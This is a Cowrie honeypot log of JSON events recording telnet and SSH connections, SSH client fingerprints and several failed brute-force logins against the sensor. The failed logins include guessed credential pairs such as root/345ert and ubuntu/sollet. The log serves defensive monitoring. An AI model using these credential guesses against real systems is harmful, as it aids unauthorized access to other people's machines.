{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52420,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ec172b79c67","protocol":"telnet","message":"New connection: 192.119.13.58:52420 (10.17.0.5:23) [session: 1ec172b79c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:42.351683Z"}
{"eventid":"cowrie.session.closed","duration":46.24955153465271,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:42.664244Z","src_ip":"192.119.13.58","session":"61546c6fd4cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.465219259262085,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:43.066247Z","src_ip":"192.119.13.58","session":"70b2ad2221a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60132,"dst_ip":"10.17.0.5","dst_port":23,"session":"31dc178804c8","protocol":"telnet","message":"New connection: 192.119.13.58:60132 (10.17.0.5:23) [session: 31dc178804c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:44.388439Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":42528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2263cba0b2c","protocol":"telnet","message":"New connection: 186.195.16.41:42528 (159.203.135.109:23) [session: d2263cba0b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:44.728034Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":56580,"dst_ip":"159.203.135.109","dst_port":22,"session":"379fbed920a1","protocol":"ssh","message":"New connection: 165.154.5.249:56580 (159.203.135.109:22) [session: 379fbed920a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:44.933208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:44.937936Z","src_ip":"165.154.5.249","session":"379fbed920a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:45.159770Z","src_ip":"165.154.5.249","session":"379fbed920a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"345ert","message":"login attempt [root/345ert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:46.054069Z","src_ip":"165.154.5.249","session":"379fbed920a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40136,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba25df4a21f4","protocol":"telnet","message":"New connection: 192.119.13.58:40136 (10.17.0.5:23) [session: ba25df4a21f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:46.438582Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:47.797378Z","src_ip":"165.154.5.249","session":"379fbed920a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.585355281829834,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:00.402519Z","src_ip":"192.119.13.58","session":"75898b8ba228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.19189739227295,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:03.429661Z","src_ip":"192.119.13.58","session":"0e4e351f6a78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":44786,"dst_ip":"159.203.135.109","dst_port":22,"session":"5442a23cae3d","protocol":"ssh","message":"New connection: 43.134.100.175:44786 (159.203.135.109:22) [session: 5442a23cae3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:05.300717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:05.306134Z","src_ip":"43.134.100.175","session":"5442a23cae3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56244,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b01c8f316b3","protocol":"telnet","message":"New connection: 192.119.13.58:56244 (10.17.0.5:23) [session: 5b01c8f316b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:05.470966Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:05.543902Z","src_ip":"43.134.100.175","session":"5442a23cae3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superfun","message":"login attempt [root/superfun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:06.523967Z","src_ip":"43.134.100.175","session":"5442a23cae3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:07.765436Z","src_ip":"43.134.100.175","session":"5442a23cae3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33994,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c1abd99782","protocol":"telnet","message":"New connection: 192.119.13.58:33994 (10.17.0.5:23) [session: b0c1abd99782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:13.997640Z"}
{"eventid":"cowrie.session.closed","duration":33.80857968330383,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:20.247040Z","src_ip":"192.119.13.58","session":"ba25df4a21f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.67340898513794,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:24.024966Z","src_ip":"192.119.13.58","session":"1ec172b79c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":42262,"dst_ip":"10.17.0.5","dst_port":22,"session":"46a2629a8605","protocol":"ssh","message":"New connection: 103.15.222.183:42262 (10.17.0.5:22) [session: 46a2629a8605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:24.294524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:24.298650Z","src_ip":"103.15.222.183","session":"46a2629a8605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:24.544929Z","src_ip":"103.15.222.183","session":"46a2629a8605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raduga","message":"login attempt [root/raduga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:25.283611Z","src_ip":"103.15.222.183","session":"46a2629a8605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55586,"dst_ip":"10.17.0.5","dst_port":23,"session":"846c5da8577f","protocol":"telnet","message":"New connection: 192.119.13.58:55586 (10.17.0.5:23) [session: 846c5da8577f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:26.440696Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:26.531606Z","src_ip":"103.15.222.183","session":"46a2629a8605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.40196442604065,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:28.790279Z","src_ip":"192.119.13.58","session":"31dc178804c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":60732,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8a37819405","protocol":"ssh","message":"New connection: 43.163.121.249:60732 (159.203.135.109:22) [session: ce8a37819405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:29.889301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:29.894282Z","src_ip":"43.163.121.249","session":"ce8a37819405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41260,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af09e4387b9","protocol":"telnet","message":"New connection: 192.119.13.58:41260 (10.17.0.5:23) [session: 1af09e4387b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:29.897777Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:30.131816Z","src_ip":"43.163.121.249","session":"ce8a37819405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.4461407661438,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:30.174045Z","src_ip":"186.195.16.41","session":"d2263cba0b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43338,"dst_ip":"10.17.0.5","dst_port":23,"session":"af6b60ae7924","protocol":"telnet","message":"New connection: 192.119.13.58:43338 (10.17.0.5:23) [session: af6b60ae7924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:30.446325Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts","message":"login attempt [root/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:31.113197Z","src_ip":"43.163.121.249","session":"ce8a37819405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:32.354343Z","src_ip":"43.163.121.249","session":"ce8a37819405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57276,"dst_ip":"10.17.0.5","dst_port":23,"session":"174d72be73fc","protocol":"telnet","message":"New connection: 192.119.13.58:57276 (10.17.0.5:23) [session: 174d72be73fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:33.900854Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36342,"dst_ip":"10.17.0.5","dst_port":23,"session":"5576f7d00c2b","protocol":"telnet","message":"New connection: 192.119.13.58:36342 (10.17.0.5:23) [session: 5576f7d00c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:35.856523Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36802,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd35ba77bce4","protocol":"telnet","message":"New connection: 192.119.13.58:36802 (10.17.0.5:23) [session: bd35ba77bce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:35.955606Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41666,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93a263f3a6c","protocol":"telnet","message":"New connection: 192.119.13.58:41666 (10.17.0.5:23) [session: c93a263f3a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:37.190201Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44684,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7917efd0898","protocol":"ssh","message":"New connection: 193.32.162.145:44684 (10.17.0.5:22) [session: f7917efd0898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:38.201924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:38.206598Z","src_ip":"193.32.162.145","session":"f7917efd0898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:38.308052Z","src_ip":"193.32.162.145","session":"f7917efd0898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet","message":"login attempt [ubuntu/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:38.611915Z","src_ip":"193.32.162.145","session":"f7917efd0898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:39.715490Z","src_ip":"193.32.162.145","session":"f7917efd0898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54252,"dst_ip":"10.17.0.5","dst_port":23,"session":"434488e0c636","protocol":"telnet","message":"New connection: 192.119.13.58:54252 (10.17.0.5:23) [session: 434488e0c636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:40.343867Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55216,"dst_ip":"10.17.0.5","dst_port":23,"session":"2401a9f58b39","protocol":"telnet","message":"New connection: 192.119.13.58:55216 (10.17.0.5:23) [session: 2401a9f58b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:40.575899Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57212,"dst_ip":"10.17.0.5","dst_port":23,"session":"854fc7421ef9","protocol":"telnet","message":"New connection: 192.119.13.58:57212 (10.17.0.5:23) [session: 854fc7421ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:41.136568Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":54072,"dst_ip":"10.17.0.5","dst_port":22,"session":"27edf5af9eb4","protocol":"ssh","message":"New connection: 80.94.92.168:54072 (10.17.0.5:22) [session: 27edf5af9eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:52.344839Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:52.461511Z","src_ip":"80.94.92.168","session":"27edf5af9eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.53325796127319,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:56.530789Z","src_ip":"192.119.13.58","session":"b0c1abd99782","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38070,"dst_ip":"10.17.0.5","dst_port":23,"session":"a582f01ed025","protocol":"telnet","message":"New connection: 192.119.13.58:38070 (10.17.0.5:23) [session: a582f01ed025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:57.023883Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42884,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e9eb4784fb","protocol":"telnet","message":"New connection: 192.119.13.58:42884 (10.17.0.5:23) [session: 87e9eb4784fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:58.198633Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43368,"dst_ip":"10.17.0.5","dst_port":23,"session":"8530f5515384","protocol":"telnet","message":"New connection: 192.119.13.58:43368 (10.17.0.5:23) [session: 8530f5515384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:58.287811Z"}
{"eventid":"cowrie.session.closed","duration":54.159297704696655,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:59.630146Z","src_ip":"192.119.13.58","session":"5b01c8f316b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":57112,"dst_ip":"159.203.135.109","dst_port":22,"session":"899d0ddc09a0","protocol":"ssh","message":"New connection: 69.6.222.198:57112 (159.203.135.109:22) [session: 899d0ddc09a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:59.964892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:48:59.970069Z","src_ip":"69.6.222.198","session":"899d0ddc09a0","protocol":"ssh"}
